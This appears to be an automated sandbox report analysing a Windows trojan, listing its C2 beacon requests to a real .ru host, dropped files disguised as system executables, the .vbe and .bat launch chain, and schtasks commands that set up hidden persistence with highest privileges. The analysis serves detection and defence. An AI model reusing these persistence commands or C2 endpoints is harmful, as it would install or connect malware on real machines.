Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384ae54368123d64aa93df=360e60b3d586218aa1c996837564f7dd&61e56f83cf389d328f5351f3b54d3707=gN0QjN5EzNwYTO2ITYiNGO4gzMiJWZ0IjYmRWMjRTM5YGNxETZhVTM&e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: a1000454.xsph.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384ae54368123d64aa93df=360e60b3d586218aa1c996837564f7dd&61e56f83cf389d328f5351f3b54d3707=gN0QjN5EzNwYTO2ITYiNGO4gzMiJWZ0IjYmRWMjRTM5YGNxETZhVTM&e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: a1000454.xsph.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384ae54368123d64aa93df=360e60b3d586218aa1c996837564f7dd&61e56f83cf389d328f5351f3b54d3707=gN0QjN5EzNwYTO2ITYiNGO4gzMiJWZ0IjYmRWMjRTM5YGNxETZhVTM&e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: a1000454.xsph.ru

Source: global traffic	DNS traffic detected: DNS query: a1000454.xsph.ru
Source: global traffic	DNS traffic detected: DNS query: 56.126.166.20.in-addr.arpa

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Wed, 03 Jul 2024 21:52:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Wed, 03 Jul 2024 21:52:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69

Source: Idle.exe, 00000025.00000002.2205565303.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a1000454.xsph.ru
Source: Idle.exe, 00000025.00000002.2205565303.0000000002C59000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a1000454.xsph.ru/
Source: Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2213877521.000000001BA92000.00000004.00000020.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a1000454.xsph.ru/L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384
Source: hyperIntoruntime.exe, 00000005.00000002.2177868968.0000000003695000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cp.sprinthost.ru
Source: Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cp.sprinthost.ru/auth/login
Source: Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://index.from.sh/pages/game.html

System Summary

PE file has nameless sections

Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:
Source: jx2eCe6ymR.exe	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Code function: 0_2_0503670F NtQueryInformationProcess,GetSystemInfo,

0_2_0503670F

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\System32\76f3bf53489b45	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\twain_32\backgroundTaskHost.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File created: C:\Windows\twain_32\eddb19405b7ce1	Jump to behavior

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_05034210	0_2_05034210
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Code function: 5_2_00007FFD346734D1	5_2_00007FFD346734D1
Source: C:\providerReviewperfsvc\Idle.exe	Code function: 37_2_00007FFD346834D1	37_2_00007FFD346834D1
Source: C:\providerReviewperfsvc\Idle.exe	Code function: 40_2_00007FFD346634D1	40_2_00007FFD346634D1

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Code function: String function: 003E5264 appears 50 times

Source: hyperIntoruntime.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: nEuTyBtWAvjkYQrIMhtZWE.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: RuntimeBroker.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: nEuTyBtWAvjkYQrIMhtZWE.exe0.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: backgroundTaskHost.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: RuntimeBroker.exe0.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: jx2eCe6ymR.exe, 00000000.00000003.2092434723.0000000007A8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs jx2eCe6ymR.exe
Source: jx2eCe6ymR.exe, 00000000.00000003.2095033278.00000000031BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe.mui` vs jx2eCe6ymR.exe
Source: jx2eCe6ymR.exe, 00000000.00000003.2095033278.00000000031BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs jx2eCe6ymR.exe
Source: jx2eCe6ymR.exe, 00000000.00000003.2094964625.0000000003199000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe.mui` vs jx2eCe6ymR.exe
Source: jx2eCe6ymR.exe, 00000000.00000003.2094964625.0000000003199000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs jx2eCe6ymR.exe
Source: jx2eCe6ymR.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs jx2eCe6ymR.exe

Source: jx2eCe6ymR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: jx2eCe6ymR.exe	Static PE information: Section: ZLIB complexity 0.9993969614055299
Source: jx2eCe6ymR.exe	Static PE information: Section: ZLIB complexity 0.9948874080882353
Source: jx2eCe6ymR.exe	Static PE information: Section: ZLIB complexity 0.9934895833333334
Source: jx2eCe6ymR.exe	Static PE information: Section: .data ZLIB complexity 0.9968583867230099

Source: wscript.exe, 00000002.00000002.2138322808.0000000003597000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.2138100203.0000000003597000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: .CMD;.VBp

Source: classification engine

Classification label: mal100.troj.evad.winEXE@47/34@2/1

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

File created: C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe

Jump to behavior

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

File created: C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe

Jump to behavior

Source: C:\providerReviewperfsvc\Idle.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1172:120:WilError_03
Source: C:\providerReviewperfsvc\Idle.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\d20be2ca40a77a2f205b8b8c9bdeb56262305a13

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

File created: C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat" "

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: jx2eCe6ymR.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\providerReviewperfsvc\Idle.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: jx2eCe6ymR.exe

ReversingLabs: Detection: 84%

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

File read: C:\Users\user\Desktop\jx2eCe6ymR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\jx2eCe6ymR.exe "C:\Users\user\Desktop\jx2eCe6ymR.exe"
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\providerReviewperfsvc\hyperIntoruntime.exe "C:\providerReviewperfsvc\hyperIntoruntime.exe"
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\providerReviewperfsvc\Idle.exe'" /f
